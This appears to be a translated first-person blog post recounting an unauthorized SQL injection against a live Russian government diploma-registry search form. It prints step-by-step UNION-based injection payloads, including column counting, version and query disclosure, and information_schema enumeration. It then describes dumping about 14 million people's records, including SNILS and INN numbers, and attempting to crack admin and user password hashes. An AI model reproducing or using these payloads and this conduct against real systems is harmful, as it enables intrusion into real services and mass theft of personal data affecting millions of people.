And so it goes ... or how the data of 14 million Russians were in my hands

On a lonely evening, looking at my empty bookmark and realizing that the end was near, I again thought about how to pack my bag, or even just a backpack, put my shirt, shorts and dump it in a warm country. It would be nice, but life with a diploma is much better. In any case, they always say that to me.

I also often heard many stories about people who came for interviews with honors from Moscow State University, but at the same time did not understand their specialty, and then at corporate parties they admitted that they bought a diploma.

But the times are different now, now is the 21st century, the century of great opportunities, any employer who knows how to use the mouse and knows how the browser looks on the desktop can check the diploma data. Each diploma issued by an educational institution is now registered in a single register, which everyone has access to through the website of the Federal Service for Supervision in Education and Science .

image

Attention: do not try to repeat the actions described in the publication and the like. Remember about Art. 272 of the Criminal Code of the Russian Federation “Unlawful access to computer information”.

To obtain information about a document on education, simply fill out the form, move the slider and press the button. You will either be shown information about the document, or they will say that there is none (but it’s too early to blame the applicant for cheating, you never know what could happen).

image

Well, while I was looking at this form, I decided to play with it. I brought all kinds of nonsense, and bam - on the field into which 1 ' was entered , I get the following response:

<h2>Произошла ошибка</h2>
<p>SQLSTATE[42601]: Syntax error: 7 ERROR:  syntax error at or near "4"
LINE 6: ...me) = UPPER('1'')) AND (doc.education_level_id = '4') AND (U...
                                                             ^</p>

Naked SQL Injection. Obviously, there was no task to think over error handling before the developer. The task was to make a service that works. Service, which is the guarantor. So a lonely evening turned into a fun lonely night.

As a teenager, I really loved all sorts of cool stories about hackers, and after I decided to do programming, occasionally read interesting articles on hacking and other things. So what I need to do next - I knew.

Since the developer of this service gave us pleasure to see also a part of the request, we can safely assume that this is a SELECT request. Now we need to somehow nullify the action of the request recorded in the php script, and then use the variable to insert our own.

To nullify a query, simply add an impossible condition and comment out the subsequent lines of the query, something like:

Injection
...me) = UPPER('1') AND (1=0)) — ')) AND (doc.education_level_id = '4') AND (U…

In response, a message simply arrived that the document was not found.

I also tried to use the obvious conditions instead of the impossible. Namely, I tried to search for any document by id. I wrote id = 1, id = 1024 and so on, but it did not work. Apparently, id has long exceeded thousands (spoiler: for millions) .

Also, I completely did not hope that the request would come without an error. I was sure that the spaces would be escaped, deleted, forbidden, anything else. Indeed, it is impossible to enter a last name with spaces in the form on the search page. But everything turned out to be much simpler.

Well, now I would like to pull out something really interesting. We cannot change the structure of the response in any way, that is, if there were, for example, SELECT id, name, count in the requestthen it will remain so. So you need to adjust, but first you need to understand what kind of data is requested from the database, and, most importantly, how much? There are many ways to find out the number of fields, but only ORDER BY helped me . How it works?

ORDER BY is made for sorting, but its syntax does not necessarily indicate the name of the field, it is enough to indicate its position in the request. If you specify a position number greater than the number of requested fields, then there will be an error. Using the brute force method, you can select the number of fields. There were 55 of them.

I want to understand what we are working with, what kind of database is this? Suppose this is MySQL, in MySQL there is a Version () function that returns the version of the database. Applicable:

Injection
...me) = UPPER('1') AND (1=0)) UNION SELECT 1,version(),тут ещё 53 поля, типы которых ещё надо определить методом подбора — ')) AND (doc.education_level_id = '4') AND (U…

In response, JSON came in, which was:

PostgreSQL 9.1.2onx86_64-alt-linux-gnu, compiledbyx86_64-alt-linux-gcc (GCC) 4.5.3 20120111 (ALTLinux 4.5.3-alt1.M60C.1), 64-bit

Well, we know the system, the version of the database (there were even exploits for it). The field for action has expanded. Find out what the query looks like:

Injection
...me) = UPPER('1') AND (1=0)) UNION SELECT 1,current_query(),тут ещё 53 поля, типы которых ещё надо определить методом подбора — ')) AND (doc.education_level_id = '4') AND (U…

Answer:

"SELECT"doc".*, "doc_type"."type", "stat"."name"AS"status", "level"."name"AS"level", "rec"."name"AS"rec_name", "rec"."surname"AS"rec_surname", "rec"."patronymic"AS"rec_lastname"FROM"documents"AS"doc"LEFTJOIN"document_types"AS"doc_type"ON doc_type.id = doc.document_type_id LEFTJOIN"document_packages"AS"dp"ON doc.document_package_id = dp.id LEFTJOIN"documents_status"AS"stat"ON stat.id = doc.status_id LEFTJOIN"education_levels"AS"level"ON level.id = doc.education_level_id LEFTJOIN"recipients"AS"rec"ON rec.id = doc.recipient_id WHERE (dp.status = 3) AND (doc.organization_id = '573') AND (doc.year = '2018-01-01') AND (UPPER(rec.surname) = UPPER('1')) UNIONSELECT1,current_query(),'3', '4', '5', '6', '7', '8', '9', '10', '11', '12', '13', '14', '15', '16', '17', '18', '01.01.1970', '01.01.1970', '21', '01.01.1970', '23', '24', '25', '26', '01.01.1970', '28', '29', '30', '31', '32', '33', '28-05-2004 11:11:59', '35', '36', '28-05-2004 11:11:59', '38', '39', '40', '41', '42', '43', '44', '45', '46', '47', '48', '49', '50', '51', '52', '53', '54', '55'-- ')) AND (doc.education_level_id = '4') AND (UPPER(doc.series) = UPPER('1')) AND (doc.number = '1') LIMIT 1"

The whole picture is in front of us.

Let's try to find out what kind of tables are in the whole database:

Injection
...me) = UPPER('1') AND (1=0)) UNION SELECT 1,table_name,тут ещё 53 поля, типы которых ещё надо определить методом подбора FROM information_schema.tables — ')) AND (doc.education_level_id = '4') AND (U…

Thus, we got all the tables. We recognize the columns of each table as follows:

Injection
...me) = UPPER('1') AND (1=0)) UNION SELECT 1,CONCAT(column_name,' ',data_type,' ',is_nullable),тут ещё 53 поля, типы которых ещё надо определить методом подбора FROM information_schema.columns WHERE table_name='Какое-то имя таблицы' — ')) AND (doc.education_level_id = '4') AND (U…

So, knowing the structure of the database, I wrote a Python script and pumped out all the most interesting data in my opinion. Namely:

Table with degrees of education (series, number, year of arrival, year of graduation, SNILS! , INN !!, passport series and number (to be honest, all entries have blank fields, but the fact itself!), date of birth, nationality (why?), educational institution that issued the document), a table with citizens with education (everything is simpler: full name and everything ), a table with system users (standard, login, email, and, UNEXPECTED, md5 password hash, at least not the password itself), a separate admin table with one entry (also: login, password hash, etc.), a table with information about training institutions (who is the boss, email, phone, license - in general, everything that is already in the public domain) and a lot of help specific tables.

In terms of volumes, it turned out: about 14 million documents about education, about 14 million records with data about former students, 1322 users of the system, 1 admin who logs in on weekdays in the system, apparently, when a job arrives, 3391 educational institutions and mountains are incomprehensible information such as OKOGA and so on. Base weighing 5 GB.

Now imagine how much time it rocked. Do you think someone noticed? Maybe the service has abruptly disconnected, ip blocked or something else? NOT!

Of course, the goal is not to use this information for personal gain (yes, I have no idea how). Otherwise, I would not write an article here. But to write personally to the administration of the site or who is responsible for it there, I, too, are not eager, there was enough history about Microtech .

Additionally, I decided to check the hashes against rainbow tables. I’m not sure, of course, that they were hashed exactly by bare md5, but, in any case, there were no matches in open hash databases. Or I don’t know how.

Could I continue and access the system? Could I change the entries and add my own? It is possible, but I decided not to. Yes, and the session must be closed, without a diploma in any way ...

UPD:Many thanks to everyone who smashed this news. I hope this story is closed, as a bug was fixed on the original site. Literally an hour after the publication of the article, the site was limited, and a few hours later the site restored work again, but without the vulnerability discovered. I am very glad that the site administration reacted so quickly and harmoniously. I apologize to the site administration for having to report such a cardinal vulnerability, maybe I was deeply wrong, but the hole was closed quickly and without delay. I apologize to everyone who had a hard time this Monday because of this. I’ll try to justify myself: of course, I have no base, for 3 days I emulated downloading, hoping that unusual traffic will be suspected.

Also popular now: